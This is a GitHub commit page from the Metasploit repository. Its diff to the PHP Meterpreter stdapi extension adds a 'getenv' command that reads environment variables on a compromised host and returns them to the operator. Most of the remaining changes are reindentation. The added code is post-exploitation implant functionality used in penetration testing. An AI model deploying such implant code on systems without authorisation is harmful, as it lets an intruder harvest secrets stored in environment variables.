Skip to content

Commit 25b1ec5

Browse files
egyptegypt
committed
Land rapid7#2689, getenv
2 parents ee201a8 + 72813c1 commit 25b1ec5

File tree

6 files changed

+360
-208
lines changed

6 files changed

+360
-208
lines changed

‎data/meterpreter/ext_server_stdapi.php

+109-66
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,14 @@
7878
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
7979
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
8080
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
81+
define("TLV_TYPE_ARCHITECTURE", TLV_META_TYPE_STRING | 1043);
82+
define("TLV_TYPE_LANG_SYSTEM", TLV_META_TYPE_STRING | 1044);
83+
84+
# Environment
85+
define("TLV_TYPE_ENV_VARIABLE", TLV_META_TYPE_STRING | 1100);
86+
define("TLV_TYPE_ENV_VALUE", TLV_META_TYPE_STRING | 1101);
87+
define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
88+
8189

8290
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
8391

@@ -162,7 +170,7 @@
162170
# eval'd twice
163171
my_print("Evaling stdapi");
164172

165-
##
173+
##
166174
# Search Helpers
167175
##
168176

@@ -197,38 +205,38 @@
197205
*/
198206
if (!function_exists('safe_glob')) {
199207
function safe_glob($pattern, $flags=0) {
200-
$split=explode('/',str_replace('\\','/',$pattern));
201-
$mask=array_pop($split);
202-
$path=implode('/',$split);
203-
if (($dir=opendir($path))!==false) {
204-
$glob=array();
205-
while (($file=readdir($dir))!==false) {
206-
// Recurse subdirectories (GLOB_RECURSE)
207-
if (
208-
(
209-
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
210-
&& (!in_array($file,array('.','..'))
211-
# don't follow links to avoid infinite recursion
212-
&& (!is_link($path."/".$file))
213-
)
214-
) {
215-
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
216-
($flags&GLOB_PATH?'':$file.'/')));
208+
$split=explode('/',str_replace('\\','/',$pattern));
209+
$mask=array_pop($split);
210+
$path=implode('/',$split);
211+
if (($dir=opendir($path))!==false) {
212+
$glob=array();
213+
while (($file=readdir($dir))!==false) {
214+
// Recurse subdirectories (GLOB_RECURSE)
215+
if (
216+
(
217+
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
218+
&& (!in_array($file,array('.','..'))
219+
# don't follow links to avoid infinite recursion
220+
&& (!is_link($path."/".$file))
221+
)
222+
) {
223+
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
224+
($flags&GLOB_PATH?'':$file.'/')));
225+
}
226+
// Match file mask
227+
if (fnmatch($mask,$file)) {
228+
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
229+
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
230+
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
231+
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
217232
}
218-
// Match file mask
219-
if (fnmatch($mask,$file)) {
220-
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
221-
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
222-
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
223-
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
224-
}
225-
}
226-
closedir($dir);
227-
if (!($flags&GLOB_NOSORT)) sort($glob);
228-
return $glob;
229-
} else {
230-
return false;
231-
}
233+
}
234+
closedir($dir);
235+
if (!($flags&GLOB_NOSORT)) sort($glob);
236+
return $glob;
237+
} else {
238+
return false;
239+
}
232240
}
233241
}
234242
/**
@@ -239,7 +247,7 @@ function safe_glob($pattern, $flags=0) {
239247
*/
240248
if (!function_exists('fnmatch')) {
241249
function fnmatch($pattern, $string) {
242-
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
250+
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
243251
}
244252
}
245253

@@ -261,7 +269,7 @@ function array_prepend($array, $string, $deep=false) {
261269
else
262270
$array[$key] = $string.$element;
263271
return $array;
264-
272+
265273
}
266274
}
267275

@@ -519,13 +527,13 @@ function stdapi_fs_md5($req, &$pkt) {
519527
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
520528
$path = cononicalize_path($path_tlv['value']);
521529

522-
if (is_callable("md5_file")) {
523-
$md5 = md5_file($path);
524-
} else {
525-
$md5 = md5(file_get_contents($path));
526-
}
527-
$md5 = pack("H*", $md5);
528-
# Ghetto abuse of file name type to indicate the md5 result
530+
if (is_callable("md5_file")) {
531+
$md5 = md5_file($path);
532+
} else {
533+
$md5 = md5(file_get_contents($path));
534+
}
535+
$md5 = pack("H*", $md5);
536+
# Ghetto abuse of file name type to indicate the md5 result
529537
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
530538
return ERROR_SUCCESS;
531539
}
@@ -538,13 +546,13 @@ function stdapi_fs_sha1($req, &$pkt) {
538546
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
539547
$path = cononicalize_path($path_tlv['value']);
540548

541-
if (is_callable("sha1_file")) {
542-
$sha1 = sha1_file($path);
543-
} else {
544-
$sha1 = sha1(file_get_contents($path));
545-
}
546-
$sha1 = pack("H*", $sha1);
547-
# Ghetto abuse of file name type to indicate the sha1 result
549+
if (is_callable("sha1_file")) {
550+
$sha1 = sha1_file($path);
551+
} else {
552+
$sha1 = sha1(file_get_contents($path));
553+
}
554+
$sha1 = pack("H*", $sha1);
555+
# Ghetto abuse of file name type to indicate the sha1 result
548556
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
549557
return ERROR_SUCCESS;
550558
}
@@ -573,6 +581,41 @@ function stdapi_sys_config_getuid($req, &$pkt) {
573581
}
574582
}
575583

584+
if (!function_exists('stdapi_sys_config_getenv')) {
585+
register_command('stdapi_sys_config_getenv');
586+
function stdapi_sys_config_getenv($req, &$pkt) {
587+
my_print("doing getenv");
588+
589+
$variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE);
590+
591+
# If we decide some day to have sys.config.getenv return all env
592+
# vars when given an empty search list, this is one way to do it.
593+
#if (empty($variable_tlvs)) {
594+
# # We don't have a var to look up, return all of 'em
595+
# $variables = array_keys($_SERVER);
596+
#} else {
597+
# $variables = array();
598+
# foreach ($variable_tlvs as $tlv) {
599+
# array_push($variables, $tlv['value']);
600+
# }
601+
#}
602+
603+
foreach ($variable_tlvs as $name) {
604+
$canonical_name = str_replace(array("$","%"), "", $name['value']);
605+
$env = getenv($canonical_name);
606+
if ($env !== FALSE) {
607+
$grp = "";
608+
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name));
609+
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env));
610+
packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp));
611+
}
612+
}
613+
614+
return ERROR_SUCCESS;
615+
}
616+
}
617+
618+
576619
# Unimplemented becuase it's unimplementable
577620
#if (!function_exists('stdapi_sys_config_rev2self')) {
578621
#register_command('stdapi_sys_config_rev2self');
@@ -696,24 +739,24 @@ function close_process($proc) {
696739
foreach ($proc['pipes'] as $f) {
697740
@fclose($f);
698741
}
699-
if (is_callable('proc_get_status')) {
700-
$status = proc_get_status($proc['handle']);
701-
} else {
702-
# fake a running process on php < 4.3
703-
$status = array('running' => true);
704-
}
705-
706-
# proc_close blocks waiting for the child to exit, so if it's still
707-
# running, don't take a chance on deadlock and just sigkill it if we
708-
# can. We can't on php < 4.3, so don't do anything. This will leave
709-
# zombie processes, but that's better than deadlock.
710-
if ($status['running'] == false) {
711-
proc_close($proc['handle']);
712-
} else {
713-
if (is_callable('proc_terminate')) {
714-
proc_terminate($proc['handle'], 9);
715-
}
716-
}
742+
if (is_callable('proc_get_status')) {
743+
$status = proc_get_status($proc['handle']);
744+
} else {
745+
# fake a running process on php < 4.3
746+
$status = array('running' => true);
747+
}
748+
749+
# proc_close blocks waiting for the child to exit, so if it's still
750+
# running, don't take a chance on deadlock and just sigkill it if we
751+
# can. We can't on php < 4.3, so don't do anything. This will leave
752+
# zombie processes, but that's better than deadlock.
753+
if ($status['running'] == false) {
754+
proc_close($proc['handle']);
755+
} else {
756+
if (is_callable('proc_terminate')) {
757+
proc_terminate($proc['handle'], 9);
758+
}
759+
}
717760
if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
718761
unset($channel_process_map[$proc['cid']]);
719762
}

0 commit comments

Comments
 (0)